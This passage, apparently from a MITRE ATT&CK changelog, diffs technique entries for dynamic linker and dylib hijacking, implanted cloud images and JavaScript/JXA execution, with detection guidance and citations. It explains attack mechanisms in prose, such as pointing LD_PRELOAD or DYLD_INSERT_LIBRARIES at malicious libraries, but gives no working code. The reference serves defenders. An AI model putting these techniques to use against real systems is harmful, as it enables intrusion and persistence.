| external_references[2]['description'] | Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017. | Patrick Wardle. (2019, July 2). Getting Root with Benign AppStore Apps. Retrieved March 31, 2021. |
| external_references[2]['url'] | https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf | https://objective-see.com/blog/blog_0x46.html |
| external_references[3]['source_name'] | Malware Persistence on OS X | Wardle Dylib Hijacking OSX 2015 |
| external_references[3]['description'] | Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017. | Patrick Wardle. (2015, March 1). Dylib Hijacking on OS X. Retrieved March 29, 2021. |
| external_references[3]['url'] | https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf | https://www.virusbulletin.com/uploads/pdf/magazine/2015/vb201503-dylib-hijacking.pdf |
| x_mitre_data_sources[0] | Process monitoring | File: File Creation |
| x_mitre_data_sources[1] | File monitoring | File: File Modification |
| x_mitre_detection | Objective-See's Dylib Hijacking Scanner can be used to detect potential cases of dylib hijacking. Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process. | Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process.
Run path dependent libraries can include LC_LOAD_DYLIB, LC_LOAD_WEAK_DYLIB, and LC_RPATH. Other special keywords are recognized by the macOS loader are @rpath, @loader_path, and @executable_path.(Citation: Apple Developer Doco Archive Run-Path) These loader instructions can be examined for individual binaries or frameworks using the otool -l command. Objective-See's Dylib Hijacking Scanner can be used to identify applications vulnerable to dylib hijacking.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Github EmpireProject HijackScanner) |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Github EmpireProject HijackScanner', 'description': 'Wardle, P., Ross, C. (2017, September 21). Empire Project Dylib Hijack Vulnerability Scanner. Retrieved April 1, 2021.', 'url': 'https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/situational_awareness/host/osx/HijackScanner.py'} | |
| external_references | {'source_name': 'Github EmpireProject CreateHijacker Dylib', 'description': 'Wardle, P., Ross, C. (2018, April 8). EmpireProject Create Dylib Hijacker. Retrieved April 1, 2021.', 'url': 'https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/persistence/osx/CreateHijacker.py'} | |
| external_references | {'source_name': 'Writing Bad Malware for OSX', 'description': 'Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.', 'url': 'https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf'} | |
| external_references | {'source_name': 'wardle artofmalware volume1', 'description': 'Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume 0x1: Analysis. Retrieved March 19, 2021.', 'url': 'https://taomm.org/vol1/pdfs.html'} | |
| external_references | {'source_name': 'MalwareUnicorn macOS Dylib Injection MachO', 'description': 'Amanda Rousseau. (2020, April 4). MacOS Dylib Injection Workshop. Retrieved March 29, 2021.', 'url': 'https://malwareunicorn.org/workshops/macos_dylib_injection.html#5'} | |
| external_references | {'source_name': 'Apple Developer Doco Archive Run-Path', 'description': 'Apple Inc.. (2012, July 7). Run-Path Dependent Libraries. Retrieved March 31, 2021.', 'url': 'https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html'} | |
| x_mitre_data_sources | Module: Module Load |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may execute their own malicious payloads by hija | t | 1 | Adversaries may execute their own malicious payloads by hija |
| > | cking the dynamic linker used to load libraries. The dynamic | > | cking environment variables the dynamic linker uses to load | ||
| > | linker is used to load shared library dependencies needed b | > | shared libraries. During the execution preparation phase of | ||
| > | y an executing program. The dynamic linker will typically ch | > | a program, the dynamic linker loads specified absolute paths | ||
| > | eck provided absolute paths and common directories for these | > | of shared libraries from environment variables and files, s | ||
| > | dependencies, but can be overridden by shared objects speci | > | uch as <code>LD_PRELOAD</code> on Linux or <code>DYLD_INSERT | ||
| > | fied by LD_PRELOAD to be loaded before all others.(Citation: | > | _LIBRARIES</code> on macOS. Libraries specified in environme | ||
| > | Man LD.SO)(Citation: TLDP Shared Libraries) Adversaries ma | > | nt variables are loaded first, taking precedence over system | ||
| > | y set LD_PRELOAD to point to malicious libraries that match | > | libraries with the same function name.(Citation: Man LD.SO) | ||
| > | the name of legitimate libraries which are requested by a vi | > | (Citation: TLDP Shared Libraries)(Citation: Apple Doco Archi | ||
| > | ctim program, causing the operating system to load the adver | > | ve Dynamic Libraries) These variables are often used by deve | ||
| > | sary's malicious code upon execution of the victim program. | > | lopers to debug binaries without needing to recompile, decon | ||
| > | LD_PRELOAD can be set via the environment variable or <code> | > | flict mapped symbols, and implement custom functions without | ||
| > | /etc/ld.so.preload</code> file.(Citation: Man LD.SO)(Citatio | > | changing the original library.(Citation: Baeldung LD_PRELOA | ||
| > | n: TLDP Shared Libraries) Libraries specified by LD_PRELOAD | > | D) On Linux and macOS, hijacking dynamic linker variables m | ||
| > | with be loaded and mapped into memory by <code>dlopen()</cod | > | ay grant access to the victim process's memory, system/netwo | ||
| > | e> and <code>mmap()</code> respectively.(Citation: Code Inje | > | rk resources, and possibly elevated privileges. This method | ||
| > | ction on Linux and macOS) (Citation: Uninformed Needle) (Cit | > | may also evade detection from security products since the ex | ||
| > | ation: Phrack halfdead 1997) LD_PRELOAD hijacking may grant | > | ecution is masked under a legitimate process. Adversaries ca | ||
| > | access to the victim process's memory, system/network resou | > | n set environment variables via the command line using the < | ||
| > | rces, and possibly elevated privileges. Execution via LD_PRE | > | code>export</code> command, <code>setenv</code> function, or | ||
| > | LOAD hijacking may also evade detection from security produc | > | <code>putenv</code> function. Adversaries can also leverage | ||
| > | ts since the execution is masked under a legitimate process. | > | [Dynamic Linker Hijacking](https://attack.mitre.org/techniq | ||
| > | ues/T1574/006) to export variables in a shell or set variabl | ||||
| > | es programmatically using higher level syntax such Python’s | ||||
| > | <code>os.environ</code>. On Linux, adversaries may set <cod | ||||
| > | e>LD_PRELOAD</code> to point to malicious libraries that mat | ||||
| > | ch the name of legitimate libraries which are requested by a | ||||
| > | victim program, causing the operating system to load the ad | ||||
| > | versary's malicious code upon execution of the victim progra | ||||
| > | m. <code>LD_PRELOAD</code> can be set via the environment va | ||||
| > | riable or <code>/etc/ld.so.preload</code> file.(Citation: Ma | ||||
| > | n LD.SO)(Citation: TLDP Shared Libraries) Libraries specifie | ||||
| > | d by <code>LD_PRELOAD</code> are loaded and mapped into memo | ||||
| > | ry by <code>dlopen()</code> and <code>mmap()</code> respecti | ||||
| > | vely.(Citation: Code Injection on Linux and macOS)(Citation: | ||||
| > | Uninformed Needle) (Citation: Phrack halfdead 1997)(Citatio | ||||
| > | n: Brown Exploiting Linkers) On macOS this behavior is con | ||||
| > | ceptually the same as on Linux, differing only in how the ma | ||||
| > | cOS dynamic libraries (dyld) is implemented at a lower level | ||||
| > | . Adversaries can set the <code>DYLD_INSERT_LIBRARIES</code> | ||||
| > | environment variable to point to malicious libraries contai | ||||
| > | ning names of legitimate libraries or functions requested by | ||||
| > | a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIE | ||||
| > | S)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilond | ||||
| > | o DYLD_INSERT_LIBRARIES Catalina Bypass) | ||||
New Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 16:49:46.904000+00:00 | 2021-04-27 19:55:18.453000+00:00 |
| name | LD_PRELOAD | Dynamic Linker Hijacking |
| description | Adversaries may execute their own malicious payloads by hijacking the dynamic linker used to load libraries. The dynamic linker is used to load shared library dependencies needed by an executing program. The dynamic linker will typically check provided absolute paths and common directories for these dependencies, but can be overridden by shared objects specified by LD_PRELOAD to be loaded before all others.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)
Adversaries may set LD_PRELOAD to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. LD_PRELOAD can be set via the environment variable or /etc/ld.so.preload file.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries) Libraries specified by LD_PRELOAD with be loaded and mapped into memory by dlopen() and mmap() respectively.(Citation: Code Injection on Linux and macOS) (Citation: Uninformed Needle) (Citation: Phrack halfdead 1997)
LD_PRELOAD hijacking may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. Execution via LD_PRELOAD hijacking may also evade detection from security products since the execution is masked under a legitimate process. | Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from environment variables and files, such as LD_PRELOAD on Linux or DYLD_INSERT_LIBRARIES on macOS. Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions without changing the original library.(Citation: Baeldung LD_PRELOAD)
On Linux and macOS, hijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. This method may also evade detection from security products since the execution is masked under a legitimate process. Adversaries can set environment variables via the command line using the export command, setenv function, or putenv function. Adversaries can also leverage [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) to export variables in a shell or set variables programmatically using higher level syntax such Python’s os.environ.
On Linux, adversaries may set LD_PRELOAD to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. LD_PRELOAD can be set via the environment variable or /etc/ld.so.preload file.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries) Libraries specified by LD_PRELOAD are loaded and mapped into memory by dlopen() and mmap() respectively.(Citation: Code Injection on Linux and macOS)(Citation: Uninformed Needle) (Citation: Phrack halfdead 1997)(Citation: Brown Exploiting Linkers)
On macOS this behavior is conceptually the same as on Linux, differing only in how the macOS dynamic libraries (dyld) is implemented at a lower level. Adversaries can set the DYLD_INSERT_LIBRARIES environment variable to point to malicious libraries containing names of legitimate libraries or functions requested by a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) |
| external_references[5]['source_name'] | Code Injection on Linux and macOS | Apple Doco Archive Dynamic Libraries |
| external_references[5]['description'] | Itamar Turner-Trauring. (2017, April 18). “This will only hurt for a moment”: code injection on Linux and macOS with LD_PRELOAD. Retrieved December 20, 2017. | Apple Inc.. (2012, July 23). Overview of Dynamic Libraries. Retrieved March 24, 2021. |
| external_references[5]['url'] | https://www.datawire.io/code-injection-on-linux-and-macos/ | https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html |
| external_references[6]['source_name'] | Uninformed Needle | Baeldung LD_PRELOAD |
| external_references[6]['description'] | skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017. | baeldung. (2020, August 9). What Is the LD_PRELOAD Trick?. Retrieved March 24, 2021. |
| external_references[6]['url'] | http://hick.org/code/skape/papers/needle.txt | https://www.baeldung.com/linux/ld_preload-trick-what-is |
| external_references[7]['source_name'] | Phrack halfdead 1997 | Code Injection on Linux and macOS |
| external_references[7]['description'] | halflife. (1997, September 1). Shared Library Redirection Techniques. Retrieved December 20, 2017. | Itamar Turner-Trauring. (2017, April 18). “This will only hurt for a moment”: code injection on Linux and macOS with LD_PRELOAD. Retrieved December 20, 2017. |
| external_references[7]['url'] | http://phrack.org/issues/51/8.html | https://www.datawire.io/code-injection-on-linux-and-macos/ |
| x_mitre_data_sources[0] | Process monitoring | File: File Creation |
| x_mitre_data_sources[1] | File monitoring | File: File Modification |
| x_mitre_data_sources[2] | Environment variable | Module: Module Load |
| x_mitre_detection | Monitor for changes to environment variables and files associated with loading shared libraries such as LD_PRELOAD, as well as the commands to implement these changes. Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates. | Monitor for changes to environment variables and files associated with loading shared libraries such as LD_PRELOAD and DYLD_INSERT_LIBRARIES, as well as the commands to implement these changes.
Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates. |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Uninformed Needle', 'description': 'skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017.', 'url': 'http://hick.org/code/skape/papers/needle.txt'} | |
| external_references | {'source_name': 'Phrack halfdead 1997', 'description': 'halflife. (1997, September 1). Shared Library Redirection Techniques. Retrieved December 20, 2017.', 'url': 'http://phrack.org/issues/51/8.html'} | |
| external_references | {'source_name': 'Brown Exploiting Linkers', 'description': 'Tim Brown. (2011, June 29). Breaking the links: Exploiting the linker. Retrieved March 29, 2021.', 'url': 'http://www.nth-dimension.org.uk/pub/BTL.pdf'} | |
| external_references | {'source_name': 'TheEvilBit DYLD_INSERT_LIBRARIES', 'description': 'Fitzl, C. (2019, July 9). DYLD_INSERT_LIBRARIES DYLIB injection in macOS / OSX. Retrieved March 26, 2020.', 'url': 'https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/'} | |
| external_references | {'source_name': 'Timac DYLD_INSERT_LIBRARIES', 'description': 'Timac. (2012, December 18). Simple code injection using DYLD_INSERT_LIBRARIES. Retrieved March 26, 2020.', 'url': 'https://blog.timac.org/2012/1218-simple-code-injection-using-dyld_insert_libraries/'} | |
| external_references | {'source_name': 'Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass', 'description': 'Jon Gabilondo. (2019, September 22). How to Inject Code into Mach-O Apps. Part II.. Retrieved March 24, 2021.', 'url': 'https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-ii-ddb13ebc8191'} | |
| x_mitre_data_sources | Process: Process Creation | |
| x_mitre_data_sources | Command: Command Execution | |
| x_mitre_platforms | macOS |
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may implant cloud container images with maliciou | t | 1 | Adversaries may implant cloud or container images with malic |
| > | s code to establish persistence. Amazon Web Service (AWS) Am | > | ious code to establish persistence after gaining access to a | ||
| > | azon Machine Images (AMI), Google Cloud Platform (GCP) Image | > | n environment. Amazon Web Services (AWS) Amazon Machine Imag | ||
| > | s, and Azure Images as well as popular container runtimes su | > | es (AMIs), Google Cloud Platform (GCP) Images, and Azure Ima | ||
| > | ch as Docker can be implanted or backdoored. Depending on ho | > | ges as well as popular container runtimes such as Docker can | ||
| > | w the infrastructure is provisioned, this could provide pers | > | be implanted or backdoored. Unlike [Upload Malware](https:/ | ||
| > | istent access if the infrastructure provisioning tool is ins | > | /attack.mitre.org/techniques/T1608/001), this technique focu | ||
| > | tructed to always use the latest image.(Citation: Rhino Labs | > | ses on adversaries implanting an image in a registry within | ||
| > | Cloud Image Backdoor Technique Sept 2019) A tool has been | > | a victim’s environment. Depending on how the infrastructure | ||
| > | developed to facilitate planting backdoors in cloud containe | > | is provisioned, this could provide persistent access if the | ||
| > | r images.(Citation: Rhino Labs Cloud Backdoor September 2019 | > | infrastructure provisioning tool is instructed to always use | ||
| > | ) If an attacker has access to a compromised AWS instance, a | > | the latest image.(Citation: Rhino Labs Cloud Image Backdoor | ||
| > | nd permissions to list the available container images, they | > | Technique Sept 2019) A tool has been developed to facilita | ||
| > | may implant a backdoor such as a [Web Shell](https://attack. | > | te planting backdoors in cloud container images.(Citation: R | ||
| > | mitre.org/techniques/T1505/003).(Citation: Rhino Labs Cloud | > | hino Labs Cloud Backdoor September 2019) If an attacker has | ||
| > | Image Backdoor Technique Sept 2019) Adversaries may also imp | > | access to a compromised AWS instance, and permissions to lis | ||
| > | lant Docker images that may be inadvertently used in cloud d | > | t the available container images, they may implant a backdoo | ||
| > | eployments, which has been reported in some instances of cry | > | r such as a [Web Shell](https://attack.mitre.org/techniques/ | ||
| > | ptomining botnets.(Citation: ATT Cybersecurity Cryptocurrenc | > | T1505/003).(Citation: Rhino Labs Cloud Image Backdoor Techni | ||
| > | y Attacks on Cloud) | > | que Sept 2019) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 22:47:34.137000+00:00 | 2021-04-12 18:28:27.948000+00:00 |
| name | Implant Container Image | Implant Internal Image |
| description | Adversaries may implant cloud container images with malicious code to establish persistence. Amazon Web Service (AWS) Amazon Machine Images (AMI), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019) A tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an attacker has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a [Web Shell](https://attack.mitre.org/techniques/T1505/003).(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019) Adversaries may also implant Docker images that may be inadvertently used in cloud deployments, which has been reported in some instances of cryptomining botnets.(Citation: ATT Cybersecurity Cryptocurrency Attacks on Cloud) | Adversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Unlike [Upload Malware](https://attack.mitre.org/techniques/T1608/001), this technique focuses on adversaries implanting an image in a registry within a victim’s environment. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019) A tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an attacker has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a [Web Shell](https://attack.mitre.org/techniques/T1505/003).(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019) |
| x_mitre_data_sources[0] | File monitoring | Image: Image Creation |
| x_mitre_data_sources[1] | Asset management | Image: Image Modification |
| x_mitre_detection | Monitor interactions with images and containers by users to identify ones that are added or modified anomalously. | Monitor interactions with images and containers by users to identify ones that are added or modified anomalously. In containerized environments, changes may be detectable by monitoring the Docker daemon logs or setting up and monitoring Kubernetes audit logs depending on registry configuration. |
| x_mitre_platforms[0] | GCP | IaaS |
| x_mitre_platforms[1] | Azure | Containers |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Yossi Weizman, Azure Defender Research Team | |
| x_mitre_contributors | Vishwas Manral, McAfee |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ATT Cybersecurity Cryptocurrency Attacks on Cloud', 'description': 'Doman, C. & Hegel, T.. (2019, March 14). Making it Rain - Cryptocurrency Mining Attacks in the Cloud. Retrieved October 3, 2019.', 'url': 'https://www.alienvault.com/blogs/labs-research/making-it-rain-cryptocurrency-mining-attacks-in-the-cloud'} | |
| x_mitre_platforms | AWS |
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse JavaScript and/or JScript for executio | t | 1 | Adversaries may abuse various implementations of JavaScript |
| > | n. JavaScript (JS) is a platform-agnostic scripting language | > | for execution. JavaScript (JS) is a platform-independent scr | ||
| > | (compiled just-in-time at runtime) commonly associated with | > | ipting language (compiled just-in-time at runtime) commonly | ||
| > | scripts in webpages, though JS can be executed in runtime e | > | associated with scripts in webpages, though JS can be execut | ||
| > | nvironments outside the browser.(Citation: NodeJS) JScript | > | ed in runtime environments outside the browser.(Citation: No | ||
| > | is the Microsoft implementation of the same scripting standa | > | deJS) JScript is the Microsoft implementation of the same s | ||
| > | rd. JScript is interpreted via the Windows Script engine and | > | cripting standard. JScript is interpreted via the Windows Sc | ||
| > | thus integrated with many components of Windows such as the | > | ript engine and thus integrated with many components of Wind | ||
| > | [Component Object Model](https://attack.mitre.org/technique | > | ows such as the [Component Object Model](https://attack.mitr | ||
| > | s/T1559/001) and Internet Explorer HTML Application (HTA) pa | > | e.org/techniques/T1559/001) and Internet Explorer HTML Appli | ||
| > | ges.(Citation: JScrip May 2018)(Citation: Microsoft JScript | > | cation (HTA) pages.(Citation: JScrip May 2018)(Citation: Mic | ||
| > | 2007)(Citation: Microsoft Windows Scripts) Adversaries may | > | rosoft JScript 2007)(Citation: Microsoft Windows Scripts) J | ||
| > | abuse JavaScript / JScript to execute various behaviors. Com | > | avaScript for Automation (JXA) is a macOS scripting language | ||
| > | mon uses include hosting malicious scripts on websites as pa | > | based on JavaScript, included as part of Apple’s Open Scrip | ||
| > | rt of a [Drive-by Compromise](https://attack.mitre.org/techn | > | ting Architecture (OSA), that was introduced in OSX 10.10. A | ||
| > | iques/T1189) or downloading and executing these script files | > | pple’s OSA provides scripting capabilities to control applic | ||
| > | as secondary payloads. Since these payloads are text-based, | > | ations, interface with the operating system, and bridge acce | ||
| > | it is also very common for adversaries to obfuscate their c | > | ss into the rest of Apple’s internal APIs. As of OSX 10.10, | ||
| > | ontent as part of [Obfuscated Files or Information](https:// | > | OSA only supports two languages, JXA and [AppleScript](https | ||
| > | attack.mitre.org/techniques/T1027). | > | ://attack.mitre.org/techniques/T1059/002). Scripts can be ex | ||
| > | ecuted via the command line utility <code>osascript</code>, | ||||
| > | they can be compiled into applications or script files via < | ||||
| > | code>osacompile</code>, and they can be compiled and execute | ||||
| > | d in memory of other programs by leveraging the OSAKit Frame | ||||
| > | work.(Citation: Apple About Mac Scripting 2016)(Citation: Sp | ||||
| > | ecterOps JXA 2020)(Citation: SentinelOne macOS Red Team)(Cit | ||||
| > | ation: Red Canary Silver Sparrow Feb2021)(Citation: MDSec ma | ||||
| > | cOS JXA and VSCode) Adversaries may abuse various implement | ||||
| > | ations of JavaScript to execute various behaviors. Common us | ||||
| > | es include hosting malicious scripts on websites as part of | ||||
| > | a [Drive-by Compromise](https://attack.mitre.org/techniques/ | ||||
| > | T1189) or downloading and executing these script files as se | ||||
| > | condary payloads. Since these payloads are text-based, it is | ||||
| > | also very common for adversaries to obfuscate their content | ||||
| > | as part of [Obfuscated Files or Information](https://attack | ||||
| > | .mitre.org/techniques/T1027). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Cody Thomas, SpecterOps'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-25 03:23:13.804000+00:00 | 2021-04-27 19:21:05.521000+00:00 |
| name | JavaScript/JScript | JavaScript |
| description | Adversaries may abuse JavaScript and/or JScript for execution. JavaScript (JS) is a platform-agnostic scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS) JScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts) Adversaries may abuse JavaScript / JScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027). | Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS)
JScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts)
JavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple’s Open Scripting Architecture (OSA), that was introduced in OSX 10.10. Apple’s OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple’s internal APIs. As of OSX 10.10, OSA only supports two languages, JXA and [AppleScript](https://attack.mitre.org/techniques/T1059/002). Scripts can be executed via the command line utility osascript, they can be compiled into applications or script files via osacompile, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.(Citation: Apple About Mac Scripting 2016)(Citation: SpecterOps JXA 2020)(Citation: SentinelOne macOS Red Team)(Citation: Red Canary Silver Sparrow Feb2021)(Citation: MDSec macOS JXA and VSCode)
Adversaries may abuse various implementations of JavaScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027). |
| x_mitre_data_sources[0] | Loaded DLLs | Command: Command Execution |
| x_mitre_data_sources[1] | DLL monitoring | Process: Process Creation |
| x_mitre_data_sources[2] | File monitoring | Module: Module Load |
| x_mitre_data_sources[3] | Process command-line parameters | Script: Script Execution |
| x_mitre_detection | Monitor for events associated with scripting execution, such as process activity, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving scripts, or loading of modules associated with scripting languages (ex: JScript.dll). Scripting execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programmable post-compromise behaviors and could be used as indicators of detection leading back to the source. Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If scripting is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. | Monitor for events associated with scripting execution, such as process activity, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving scripts, or loading of modules associated with scripting languages (ex: JScript.dll). Scripting execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programmable post-compromise behaviors and could be used as indicators of detection leading back to the source.
Monitor for execution of JXA through osascript and usage of OSAScript API that may be related to other suspicious behavior occurring on the system.
Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If scripting is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Apple About Mac Scripting 2016', 'description': 'Apple. (2016, June 13). About Mac Scripting. Retrieved April 14, 2021.', 'url': 'https://developer.apple.com/library/archive/documentation/LanguagesUtilities/Conceptual/MacAutomationScriptingGuide/index.html'} | |
| external_references | {'source_name': 'SpecterOps JXA 2020', 'description': 'Pitt, L. (2020, August 6). Persistent JXA. Retrieved April 14, 2021.', 'url': 'https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5'} | |
| external_references | {'source_name': 'SentinelOne macOS Red Team', 'description': 'Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020.', 'url': 'https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/'} | |
| external_references | {'source_name': 'Red Canary Silver Sparrow Feb2021', 'description': 'Tony Lambert. (2021, February 18). Clipping Silver Sparrow’s wings: Outing macOS malware before it takes flight. Retrieved April 20, 2021.', 'url': 'https://redcanary.com/blog/clipping-silver-sparrows-wings/'} | |
| external_references | {'source_name': 'MDSec macOS JXA and VSCode', 'description': 'Dominic Chell. (2021, January 1). macOS Post-Exploitation Shenanigans with VSCode Extensions. Retrieved April 20, 2021.', 'url': 'https://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process monitoring |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may modify authentication mechanisms and process | t | 1 | Adversaries may modify authentication mechanisms and process |
| > | es to access user credentials or enable otherwise unwarrante | > | es to access user credentials or enable otherwise unwarrante | ||
| > | d access to accounts. The authentication process is handled | > | d access to accounts. The authentication process is handled | ||
